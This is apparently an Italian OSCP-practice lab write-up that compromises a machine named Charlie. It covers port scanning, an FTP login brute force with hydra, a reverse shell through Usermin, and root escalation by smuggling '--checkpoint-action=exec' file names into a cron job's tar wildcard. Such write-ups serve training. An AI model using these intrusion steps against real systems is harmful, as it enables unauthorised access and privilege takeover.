Charlie
Challenge 6 - Charlie
Target
- name:
charlie.oscp.exam - ip:
192.168.210.157
Inserisco 192.168.210.157 charlie.oscp.exam nel file /etc/hosts
Enumeration
-
Porte aperte:
PORT SERVICE VERSION 21/tcp ftp vsftpd 3.0.5 22/tcp ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0) 80/tcp http Apache httpd 2.4.52 ((Ubuntu)) 20000/tcp dnp MiniServ 1.820 (Webmin httpd) Bash┌──(momphucker㉿kali-mbpro15)-[~/Desktop/OSCP_CHALLENGE/Challenge_6_oscp_C/Charlie] └─$ sudo nmap -sS -p- charlie.oscp.exam | tee nmap_ss.txt Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-29 14:18 CET Nmap scan report for charlie.oscp.exam (192.168.210.157) Host is up (0.060s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 20000/tcp open dnp Nmap done: 1 IP address (1 host up) scanned in 62.47 secondsScreenshot:
Bash┌──(momphucker㉿kali-mbpro15)-[~/Desktop/OSCP_CHALLENGE/Challenge_6_oscp_C/Charlie] └─$ sudo nmap -sV -p21,22,80,20000 charlie.oscp.exam | tee nmap_sv.txt [sudo] password for momphucker: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-29 15:24 CET Nmap scan report for charlie.oscp.exam (192.168.210.157) Host is up (0.059s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) 20000/tcp open http MiniServ 1.820 (Webmin httpd) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds
http
ftp
Accesso come utente anonimo a FTP:
┌──(momphucker㉿kali-mbpro15)-[~/Desktop/OSCP_CHALLENGE/Challenge_6_oscp_C/Charlie]
└─$ ftp charlie.oscp.exam
Connected to charlie.oscp.exam.
220 (vsFTPd 3.0.5)
Name (charlie.oscp.exam:momphucker): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -a
229 Entering Extended Passive Mode (|||10095|)
150 Here comes the directory listing.
drwxr-xr-x 3 0 120 4096 Nov 02 2022 .
drwxr-xr-x 3 0 120 4096 Nov 02 2022 ..
drwxr-xr-x 2 114 120 4096 Nov 02 2022 backup
226 Directory send OK.
All'interno di ftp è presente una cartella backup con 45 files .pdf
ftp> cd backup
250 Directory successfully changed.
ftp> ls -a
229 Entering Extended Passive Mode (|||10094|)
150 Here comes the directory listing.
drwxr-xr-x 2 114 120 4096 Nov 02 2022 .
drwxr-xr-x 3 0 120 4096 Nov 02 2022 ..
-rw-r--r-- 1 114 120 145831 Nov 02 2022 BROCHURE-TEMPLATE.pdf
-rw-r--r-- 1 114 120 159765 Nov 02 2022 CALENDAR-TEMPLATE.pdf
-rw-r--r-- 1 114 120 336971 Nov 02 2022 FUNCTION-TEMPLATE.pdf
-rw-r--r-- 1 114 120 739052 Nov 02 2022 NEWSLETTER-TEMPLATE.pdf
-rw-r--r-- 1 114 120 888653 Nov 02 2022 REPORT-TEMPLATE.pdf
I file sono scaricabili con ftp> get <file_name.pdf>
Files
All'interno dei file non è contenuto alcun dato utile, ma dall'analisi dei file con exiftool è possibile enumerare i seguenti possibili utenti:
- Mark:
$ exiftool NEWSLETTER-TEMPLATE.pdf - Cassie:
$ exiftool FUNCTION-TEMPLATE.pdf - Robert:
$ exiftool REPORT-TEMPLATE.pdf
Initial Access
FTP Brute Force
Ho creato due file files, users.txt e passwords.txt, entrambi contengono la lista degli utenti trovati, più admin e root
Lancio un attacco brute force con hydra su ftp:
┌──(momphucker㉿kali-mbpro15)-[~/Desktop/OSCP_CHALLENGE/Challenge_6_oscp_C/Charlie]
└─$ sudo hydra -L users.txt -P passwords.txt -t 50 192.168.210.157 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-29 16:20:43
[DATA] max 25 tasks per 1 server, overall 25 tasks, 25 login tries (l:5/p:5), ~1 try per task
[DATA] attacking ftp://192.168.210.157:21/
[21][ftp] host: 192.168.210.157 login: cassie password: cassie
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-29 16:20:49
Vengono trovate le seguenti credenziali:
- user: cassie
- password: cassie
A questo punto scarico tutto il contenuto di ftp con il seguente comando:
┌──(momphucker㉿kali-mbpro15)-[~/…/OSCP_CHALLENGE/Challenge_6_oscp_C/Charlie/ftp]
└─$ wget -m ftp://cassie:cassie@charlie.oscp.exam
Usermin - Web App
Con le stesse credenziali (cassie:cassie) si ha accesso alla webapp. All'interno della stessa, è presente la pagina Command Shell in Usermin --> Login --> Command Shell. Sembrerebbe essere possibile eseguire dei comandi.
Apro sulla mia macchina un listener in ascolto:
Dalla command shella della webapp eseguo una reverse shell:
A questo punto viene aperta una shell sulla macchina con il listener in ascolto:
┌──(momphucker㉿kali-mbpro15)-[~/…/Challenge_6_oscp_C/Charlie/ftp/charlie.oscp.exam]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.45.199] from (UNKNOWN) [192.168.210.157] 41822
bash: cannot set terminal process group (14702): Inappropriate ioctl for device
bash: no job control in this shell
cassie@oscp:~$ whoami
whoami
cassie
Da qui è possibile recuperare la flag dalla home di cassie:
cassie@oscp:~$ cat local.txt
cat local.txt
f604cc8d16edbd49f5e0c27f0d50aad8
cassie@oscp:~$ ip addr
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:50:56:9e:58:32 brd ff:ff:ff:ff:ff:ff
altname enp3s0
inet 192.168.210.157/24 brd 192.168.210.255 scope global ens160
valid_lft forever preferred_lft forever
cassie@oscp:~$
Privilege Escalation
Dalla macchina attaccante carico il tool linpeas.sh aprendo sulla stessa un webserver sulla cartella dove riesede il tool:
Sulla macchina della vittima scarico il tool in questo modo:
Assegno i permessi di esecuzione con chmod +x linpeas.she lo eseguo con ./linpeas.sh
Crontab
Linpeas, tra gli altri dati, mostra anche un file cron eseguito ogni 2 minuti:
Da una verifica dei log con tail -f /var/log/syslog si evince quanto segue:
cassie@oscp:/var/log$ tail -f sy
tail -f syslog
Nov 29 17:08:01 oscp CRON[99578]: (root) CMD (cd /opt/admin && tar -zxf /tmp/backup.tar.gz *)
Come anche spiegato in questo tutorial, l'uso di un carattere jolly * nel comando di estrazione significa che tar elaborerà tutti i file nella directory, il che può portare all'esecuzione involontaria del comando se sono presenti file specifici.
A questo punto mi porto sulla cartella /opt/admin:
Creo due file che vengono riconosciuti come comandi speciali:
--checkpoint=1: Questo file attiverà un checkpoint intar--checkpoint-action=exec=sh shell.sh: questo indica atardi eseguireshell.shuna volta raggiunto il checkpoint.
A questo punto creo un file shell.sh che contiene il comando che che voglio eseguire con privilegi elevati (in questo caso, una reverse shell).
Fornisco al file i permessi di esecuzione:
E infine apro un listener sulla porta 4455 sulla macchina attacante
Ora non bisogna che aspettare due minuti, in modo che il cron malevolo venga eseguito.
Infatti:
Infine catturo la flag:













